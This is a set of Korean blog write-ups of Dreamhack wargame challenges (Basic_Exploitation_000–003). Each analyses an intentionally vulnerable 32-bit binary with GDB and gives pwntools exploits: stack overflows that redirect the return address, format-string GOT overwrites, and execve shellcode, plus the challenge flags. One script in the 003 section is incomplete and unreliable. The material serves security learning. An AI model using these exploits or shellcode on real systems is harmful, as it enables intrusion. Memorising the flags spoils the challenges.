보호 기법 확인

  • 32bit 바이너리
  • partial relro
  • 카나리 없음
  • nx bit 존재
  • pie 없음

 

바이너리 실행

  • 단순히 사용자의 입력을 받아 ECHO로 출력해줌

 

소스코드 분석

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {
    char *heap_buf = (char *)malloc(0x80);
    char stack_buf[0x90] = {};
    initialize();
    read(0, heap_buf, 0x80);
    sprintf(stack_buf, heap_buf);
    printf("ECHO : %s\\n", stack_buf);
    return 0;
}

main 함수

  • malloc으로 128byte만큼 heap_buf 메모리 할당
  • stack_buf는 0x90(144)만큼 할당
  • read함수를 통해 heap_buf에 0x80만큼 사용자의 입력을 받아 저장함
  • sprintf 함수로 heap_buf에 입력된 값을 stack_buf에 저장 후 stack_buf 출력
    • 포맷 스트링이 존재하지 않음! → FSB 취약점 발생
    • printf에서 fsb가 발생하는 것과 동시에 snprintf 처럼 사이즈를 정한 것이 아니기 때문에 bof가 발생할 수 있다.
    만약 heap_buf에서 stack_buf로 출력할 때 %1000c가 담겨 있다면heap_buf에는 "%1000c"로 6자리 문자로 인식되지만, stack_buf에는 1000바이트가 입력
  • → BOF 취약점도 발생함!

get_shell 함수

  • shell 실행 함수

sprintf 함수

💡 int sprintf(char *str, const char *format, ...);

  • 인자
    • char *str: 출력 값을 지정할 문자열
    • const char* format: 서식 문자열
    • ...: 서식 연산자에 치환할 값들
  • 출력하는 결과 값을 변수에 저장해줌
  • string = printf
  • printf가 출력하는 함수라면 sprintf는 출력 값을 문자열에 저장하는함수

  • 리턴 값: 문자열 변수 str에 쓰기가 성공한 문자 개수

 

바이너리 실행 - fsb 확인

  • 사용자의 입력 값이 1번째 offset에 저장됨

 

GDB 정적분석 - 함수 주소

pwndbg> info func
All defined functions:

Non-debugging symbols:
0x08048414  _init
0x08048450  read@plt
0x08048460  printf@plt
0x08048470  signal@plt
0x08048480  alarm@plt
0x08048490  malloc@plt
0x080484a0  puts@plt
0x080484b0  system@plt
0x080484c0  exit@plt
0x080484d0  __libc_start_main@plt
0x080484e0  setvbuf@plt
0x080484f0  sprintf@plt
0x08048500  __gmon_start__@plt
0x08048510  _start
0x08048540  __x86.get_pc_thunk.bx
0x08048550  deregister_tm_clones
0x08048580  register_tm_clones
0x080485c0  __do_global_dtors_aux
0x080485e0  frame_dummy
0x0804860b  alarm_handler
0x08048622  initialize
0x08048669  get_shell
0x0804867c  main
0x08048700  __libc_csu_init
0x08048760  __libc_csu_fini
0x08048764  _fini
  • main: 0x0804867c
  • get_shell: 0x08048669

 

GDB 정적분석 - main 함수

pwndbg> disass main
Dump of assembler code for function main:
   0x0804867c <+0>:	push   ebp
   0x0804867d <+1>:	mov    ebp,esp
   0x0804867f <+3>:	push   edi
   0x08048680 <+4>:	sub    esp,0x94
   0x08048686 <+10>:	push   0x80
   0x0804868b <+15>:	call   0x8048490 <malloc@plt>
   0x08048690 <+20>:	add    esp,0x4
   0x08048693 <+23>:	mov    DWORD PTR [ebp-0x8],eax
   0x08048696 <+26>:	lea    edx,[ebp-0x98]
   0x0804869c <+32>:	mov    eax,0x0
   0x080486a1 <+37>:	mov    ecx,0x24
   0x080486a6 <+42>:	mov    edi,edx
   0x080486a8 <+44>:	rep stos DWORD PTR es:[edi],eax
   0x080486aa <+46>:	call   0x8048622 <initialize>
   0x080486af <+51>:	push   0x80
   0x080486b4 <+56>:	push   DWORD PTR [ebp-0x8]
   0x080486b7 <+59>:	push   0x0
   0x080486b9 <+61>:	call   0x8048450 <read@plt>
   0x080486be <+66>:	add    esp,0xc
   0x080486c1 <+69>:	push   DWORD PTR [ebp-0x8]
   0x080486c4 <+72>:	lea    eax,[ebp-0x98]
   0x080486ca <+78>:	push   eax
   0x080486cb <+79>:	call   0x80484f0 <sprintf@plt>
   0x080486d0 <+84>:	add    esp,0x8
   0x080486d3 <+87>:	lea    eax,[ebp-0x98]
   0x080486d9 <+93>:	push   eax
   0x080486da <+94>:	push   0x8048791
   0x080486df <+99>:	call   0x8048460 <printf@plt>
   0x080486e4 <+104>:	add    esp,0x8
   0x080486e7 <+107>:	mov    eax,0x0
   0x080486ec <+112>:	mov    edi,DWORD PTR [ebp-0x4]
   0x080486ef <+115>:	leave  
   0x080486f0 <+116>:	ret    
End of assembler dump.
  • read 함수로 사용자의 입력을 받는 것은 ebp-0x8(heap_buf)에 저장됨
  • sprintf로 stack_buf에 옮겨 저장하는 것은 ebp-0x98에 저장됨
  • stack_buf에서 ret까지 offset은 0x98 + 0x4 = 156일 것!

 

메모리 구조 확인

  • main+84에 bp걸어 임의의 값(다수의 a) 입력 시 stack_buf는 0xffffd050임을 알 수 있음
  • __libc_start_main+241(ret)는 0xffffd0ec
  • offset: 0xffffd0ec - 0xffffd050 = 156

 

Exploit Algorithm

💡 %156c + get_shell address
  • dummy를 156byte만큼 그냥 입력할 수는 없음 → read 함수에서 0x80만큼만 받기 때문
  • FSB 취약점이 함께 발생하기 때문에 포맷스트링 인자를 이용하면 더미를 Overwrite 하여 줄 수 있음
💡 printf@got + get_shell address

 

Exploit - Pwntools

from pwn import *

p =remote('host1.dreamhack.games', 9880)
e = ELF('./basic_exploitation_003')

get_shell = e.symbols['get_shell']

payload = "%156c" + p32(get_shell)

p.sendline(payload)
p.interactive()

 

Exploit - Pwntools

from pwn import *

p =remote('host1.dreamhack.games', 17375)
e = ELF("./basic_exploitation_003")

payload = p32(printf) + p32(printf+1) +"%97c%1$hhn%29c%2$hhn"

p.send(payload)
p.interactive()

→ 2byte 단위는 또 안된다 왜지?

→ 002에서는 exit +2 가 먼저 왔는데 여기서는 왜 printf 먼저 오지?

→ fmtstr은 왜 안될까 ?

 

'Wargame > Dreamhack' 카테고리의 다른 글

[Dreamhack] Basic_Exploitation_002  (0) 2022.10.14
[Dreamhack] Basic_Exploitation_001  (0) 2022.10.14
[Dreamhack] Basic_Exploitation_000  (0) 2022.10.14

보호 기법 확인

  • 32bit 바이너리
  • partital relro
  • 카나리 없음
  • nx bit 존재
  • pie 없음

 

바이너리 실행

  • 단순히 사용자의 입력을 받아 출력해줌

 

소스코드 분석

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    read(0, buf, 0x80);
    printf(buf);

    exit(0);
}

main 함수

  • buf 배열을 0x80(128)만큼 할당
  • read 함수로 사용자의 입력을 0x80만큼 받아 buf 배열에 저장
    • BOF 취약점은 발생하지 않음
  • printf함수로 buf 값을 출력해줌
    • 원래는 포맷스트링을 갖춘 형태로 이용해야 함!!→ FSB 취약점 발생
    • printf("%s", &buf);
  • exit 함수의 got 주소를 get_shell 주소 변조해주면 바이너리가 종료되지 않고 shell을 실행해줄 것으로 보임!

get_shell 함수

  • system 함수로 shell 출력
  • flag를 획득할 수 있는 함수!

 

바이너리 실행

  • FSB 취약점이 발생할 경우 입력 값에 포맷스트링을 넣어주면 입력 값이 저장되는 offset을 확인할 수 있음

  • 입력 값은 32bit 바이너리이므로 4byte 단위로 입력해야 함
  • 입력한 aaaa가 바로 뒤(1번째 offset)에 저장되는 것을 알 수 있음

 

GDB 정적분석 - 함수 주소

pwndbg> info func
All defined functions:

Non-debugging symbols:
0x080483d8  _init
0x08048410  read@plt
0x08048420  printf@plt
0x08048430  signal@plt
0x08048440  alarm@plt
0x08048450  puts@plt
0x08048460  system@plt
0x08048470  exit@plt
0x08048480  __libc_start_main@plt
0x08048490  setvbuf@plt
0x080484a0  __gmon_start__@plt
0x080484b0  _start
0x080484e0  __x86.get_pc_thunk.bx
0x080484f0  deregister_tm_clones
0x08048520  register_tm_clones
0x08048560  __do_global_dtors_aux
0x08048580  frame_dummy
0x080485ab  alarm_handler
0x080485c2  initialize
0x08048609  get_shell
0x0804861c  main
0x08048650  __libc_csu_init
0x080486b0  __libc_csu_fini
0x080486b4  _fini
  • get_shell: 0x8048609

 

GDB 정적분석 - exit 함수

pwndbg> disass exit
Dump of assembler code for function exit@plt:
   0x08048470 <+0>:	jmp    DWORD PTR ds:0x804a024
   0x08048476 <+6>:	push   0x30
   0x0804847b <+11>:	jmp    0x8048400
End of assembler dump.
  • exit@got: 0x804a024

 

Exploit Algorithm

💡 exit@got(0x804a024) → get_shell address(0x8048609)
  • fsb → %n을 사용하여 함수 주소를 10진수로 변환한 개수로서 생각하고 넣어주면 됨
  • 0x8048609 → 134514185를 1번째 offset에 맞춰 넣어주면 되는데, 숫자가 너무 크기 때문에 반을 나눠(%hn) 넣어줌
    • 0x0804/0x8609 나눠서 넣어줌
    • 나눠 넣더라도 전체 주소의 10진수 변환 값과 같아야 하므로 약간의 연산이 필요함
    • (exit+2) + exit의 got 주소를 반 나눠 명시 → 각 4바이트씩 총 8바이트
    1. 0x804 - 8 = 2044
    2. 0x8609 - 0x804 = 32261

 

Exploit - Pwntools

from pwn import *

p = remote('host1.dreamhack.games', 15654)
e = ELF('./basic_exploitation_002')

#exit = 0x804a024
exit = e.got['exit']

payload = p32(exit+2) + p32(exit) + '%2044c%1$hn%32261c%2$hn'

p.send(payload)
p.interactive()

 

Exploit - Pwntools(format)

from pwn import *

p = remote('host1.dreamhack.games', 15654)
e = ELF('./basic_exploitation_002')

exit = e.got['exit']

payload = p32(exit+2) + p32(exit)
payload += '%{}c'.format(0x804-0x8)
payload += '%1$hn'
payload += '%{}c'.format(0x8609-0x804)
payload += '%2$hn'

p.send(payload)

p.interactive()

 

Exploit - Pwntools(fmtstr)

from pwn import *

p = remote('host1.dreamhack.games', 18335)
e = ELF('./basic_exploitation_002')

exit = e.got['exit']
get_shell = e.symbols['get_shell']

p.sendline(fmtstr_payload(1, {exit: get_shell}))
p.interactive()

 

flag

🔑 DH{59c4a03eff1e4c10c87ff123fb93d56c}

'Wargame > Dreamhack' 카테고리의 다른 글

[Dreamhack] Basic_Exploitation_003  (0) 2022.10.14
[Dreamhack] Basic_Exploitation_001  (0) 2022.10.14
[Dreamhack] Basic_Exploitation_000  (0) 2022.10.14

보호 기법 확인

  • 32bit 바이너리
  • relro 없음
  • 카나리 없음
  • nx bit 존재 → shellcode 삽입 불가
  • pie 없음

 

바이너리 실행

  • 단순히 사용자의 입력만 받고 있음
  • 입력 값에 대한 검증 실시x 

 

소스코드 분석

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    gets(buf);

    return 0;
}

main 함수

  • buf 배열에 0x80(128byte)만큼 할당
  • gets 함수로 buf 배열에 사용자의 입력을 저장함→ BOF 취약점 발생
  • → 입력 값 길이에 대한 검증이 없어 사용자는 무한대로 입력할 수 있음

 

GDB 정적분석 - 함수 주소

pwndbg> info func
All defined functions:

Non-debugging symbols:
0x08048398  _init
0x080483d0  gets@plt
0x080483e0  signal@plt
0x080483f0  alarm@plt
0x08048400  puts@plt
0x08048410  system@plt
0x08048420  exit@plt
0x08048430  __libc_start_main@plt
0x08048440  setvbuf@plt
0x08048450  __gmon_start__@plt
0x08048460  _start
0x08048490  __x86.get_pc_thunk.bx
0x080484a0  deregister_tm_clones
0x080484d0  register_tm_clones
0x08048510  __do_global_dtors_aux
0x08048530  frame_dummy
0x0804855b  alarm_handler
0x08048572  initialize
0x080485b9  read_flag
0x080485cc  main
0x080485f0  __libc_csu_init
0x08048650  __libc_csu_fini
0x08048654  _fini
  • read_flag: 0x080485b9
  • main: 0x080485cc

 

GDB 정적분석 - main 함수

pwndbg> disass main
Dump of assembler code for function main:
   0x080485cc <+0>:	push   ebp
   0x080485cd <+1>:	mov    ebp,esp
   0x080485cf <+3>:	add    esp,0xffffff80
   0x080485d2 <+6>:	call   0x8048572 <initialize>
   0x080485d7 <+11>:	lea    eax,[ebp-0x80]
   0x080485da <+14>:	push   eax
   0x080485db <+15>:	call   0x80483d0 <gets@plt>
   0x080485e0 <+20>:	add    esp,0x4
   0x080485e3 <+23>:	mov    eax,0x0
   0x080485e8 <+28>:	leave  
   0x080485e9 <+29>:	ret    
End of assembler dump.
  • 사용자의 입력이 ebp-0x80에 저장되는 것을 알 수 있음
  • ret까지의 offset = 0x80 + 4 = 132byte

 

GDB 정적분석 - read_flag 함수

pwndbg> disass read_flag
Dump of assembler code for function read_flag:
   0x080485b9 <+0>:	push   ebp
   0x080485ba <+1>:	mov    ebp,esp
   0x080485bc <+3>:	push   0x8048679
   0x080485c1 <+8>:	call   0x8048410 <system@plt>
   0x080485c6 <+13>:	add    esp,0x4
   0x080485c9 <+16>:	nop
   0x080485ca <+17>:	leave  
   0x080485cb <+18>:	ret    
End of assembler dump.
  • 단순히 flag를 얻기 위한 기능을 수행하고 있음

 

메모리 구조 확인

  • main+20에 bp걸어 임의의 값(다수의 a)입력
  • ebp-0x80은 0xffffd088임을 알 수 있음
  • __libc_start_main+241은 0xffffd10c에 저장됨을 알 수 있음
  • buf에서 ret까지의 offset: 0xffffd10c-0xffffd088=132
    • buf(128) + sfp(4) + ret의 구조이기 때문!

 

Exploit Algorithm

💡 dummy(132) + ret(read_flag_address)

  • buf 배열을 모두 dummy 값으로 채운 뒤, main함수를 종료하기 위한 ret 값을 read_flag의 주소로 변조하게 되면 main 함수가 종료되는 것이 아니라 read_flag 함수로 이동하여 flag를 획득할 수 있음

 

Exploit - Pwntools

from pwn import *

p = remote('host1.dreamhack.games', 11726)
e = ELF('./basic_exploitation_001')

payload = "A"*132
payload += p32(e.symbols['read_flag'])

p.sendline(payload)
p.interactive()

flag

💡 DH{01ec06f5e1466e44f86a79444a7cd116}

 

 

'Wargame > Dreamhack' 카테고리의 다른 글

[Dreamhack] Basic_Exploitation_003  (0) 2022.10.14
[Dreamhack] Basic_Exploitation_002  (0) 2022.10.14
[Dreamhack] Basic_Exploitation_000  (0) 2022.10.14

보호 기법 확인

  • 32bit 바이너리 → 주소가 4byte 단위
  • relro 없음 → got overwrite 가능(여기서는 딱히 필요 없을 것 같음)
  • 카나리 없음 → bof 공격 가능
  • nx bit 없음 → shellcode 삽입 가능
  • no pie → 주소가 그대로 일 것!

 

바이너리 실행

  • buf의 주소를 출력한 뒤, 사용자의 입력을 받고 있음
  • buf의 주소가 계속 바뀌고 있음 → ASLR이 걸려있기 때문!

 

문제 코드 분석 - basic_exploitation_000.c

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

main 함수

  • buf 배열에 0x80만큼 할당(여기서 0x80은 10진수로 128)
  • printf 함수를 통해 buf 배열 주소 반환
  • scanf 함수를 통해 141byte만큼 문자열을 입력 받아 buf 배열에 저장

💡 여기서 알 수 있는 점

buf 배열에는 128byte만큼 저장할 수 있는데 scanf 함수로 141byte만큼 입력할 수 있다. → 지정된 버퍼 크기보다 입력 값을 더 많이 줄 수 있어 BOF(Buffer Overflow) 취약점 발생
  • 쉘을 실행하기 위한 함수가 특별하게 주어지지 않았으므로 shellcode를 이용해야 할 것으로 보임

 

GDB 정적 분석 - 함수 주소

pwndbg> info func
All defined functions:

Non-debugging symbols:
0x080483bc  _init
0x080483f0  printf@plt
0x08048400  signal@plt
0x08048410  alarm@plt
0x08048420  puts@plt
0x08048430  exit@plt
0x08048440  __libc_start_main@plt
0x08048450  setvbuf@plt
0x08048460  __isoc99_scanf@plt
0x08048470  __gmon_start__@plt
0x08048480  _start
0x080484b0  __x86.get_pc_thunk.bx
0x080484c0  deregister_tm_clones
0x080484f0  register_tm_clones
0x08048530  __do_global_dtors_aux
0x08048550  frame_dummy
0x0804857b  alarm_handler
0x08048592  initialize
0x080485d9  main
0x08048610  __libc_csu_init
0x08048670  __libc_csu_fini
0x08048674  _fini
  • 사용자의 입력을 담는 버퍼(buf) 주소를 미리 가져온 후에 저장하는 형태로 진행 됨
   0x080485f5 <+28>:	lea    eax,[ebp-0x80]
   0x080485f8 <+31>:	push   eax
   0x080485f9 <+32>:	push   0x80486a5
   0x080485fe <+37>:	call   0x8048460 <__isoc99_scanf@plt>

→ lea로 buf 배열의 주소(ebp-0x80)를 가져와 eax에 저장하는 것을 알 수 있음

→ 여기서 사용자의 입력이 ebp-0x80부터 저장될 것이라는 것을 알 수 있음

→ 또한, 32bit 바이너리의 경우 [buffer] + [sfp (4byte)] + [ret] 의 형태로 구성되기 때문에 ebp-0x80에서 0x80이 buffer의 크기이고, 여기서 sfp 크기인 4byte를 더하면 메모리를 보지 않아도 ret까지의 offset(거리)를 알 수 있음

즉! 사용자가 132byte만큼 입력하면(0x80+4) ret에 도달하여 main함수를 종료하기 위한 return 값을 변조할 수 있음

 

메모리 구조 확인

  • main+42에 bp 걸어 임의의 값(다수의 a) 입력
    • main+37에 bp걸면 scanf 함수의 기능이 수행되지 않음
    • main+37에서 scanf 함수 원형의 내부 기능을 수행한 뒤의 결과가 아니라, scanf 함수의 내부를 들어가기 위해 준비중인 상태!
    • 즉, main+32의 push 0x80486a5의 결과가 반환된 상태임
    • 스텝오버(ni)를 진행해야 scanf 함수가 실행되어 사용자의 입력을 받음
    • 그렇기 때문에 그냥 main+42에(함수가 실행된 직후) bp 걸어 실행하면 편함!

  • ebp-0x80의 메모리를 확인해보면 임의의 입력으로 줬던 a(0x61)을 확인할 수 있음 → 메모리에는 16진수 형태로 저장되고, 리틀엔디언 형식이 적용됨
  • 0xffffd0fc에서 ret을 확인할 수 있음
  • 0xffffd0fc 에서 사용자 입력이 저장된 ebp-0x80의 주소(0xffffd078)을 빼주면 offset을 구할 수 있음 → 132!
  • 앞서 main 함수 디스어셈블 결과만 보고 찾은 것과 동일함을 알 수 있음

 

메모리에서 ret 찾는법

  • pwndbg나 peda에서 bp 걸어서 run 했을 때 보여주는 __libc_start_main+241 값을 보고 메모리에서 같은 값을 찾으면 보임메모리에서 ret 찾는법

 

Exploit Algorithm

💡 dummy(shellcode) + dummy(132-shellcode_bytes) + buffer 주소(실시간으로 받아와야함)

 

Exploit

pwntool - shellcode

from pwn import *

p = remote('host1.dreamhack.games', 21806)
e = ELF('./basic_exploitation_000')

p.recvuntil("(")
buf = int(p.recv(10), 16)
p.recvline()

payload = "\\x31\\xc0\\x50\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x31\\xc9\\x31\\xd2\\xb0\\x08\\x40\\x40\\x40\\xcd\\x80"
payload += "a"*(132-26)
payload += p32(buf)

p.sendline(payload)
p.interactive()

issue

💡 shellcraft가 안되는데 좀 더 찾아봐야 할 것 같다.

 

flag

💡 DH{465dd453b2a25a26a847a93d3695676d}

'Wargame > Dreamhack' 카테고리의 다른 글

[Dreamhack] Basic_Exploitation_003  (0) 2022.10.14
[Dreamhack] Basic_Exploitation_002  (0) 2022.10.14
[Dreamhack] Basic_Exploitation_001  (0) 2022.10.14

+ Recent posts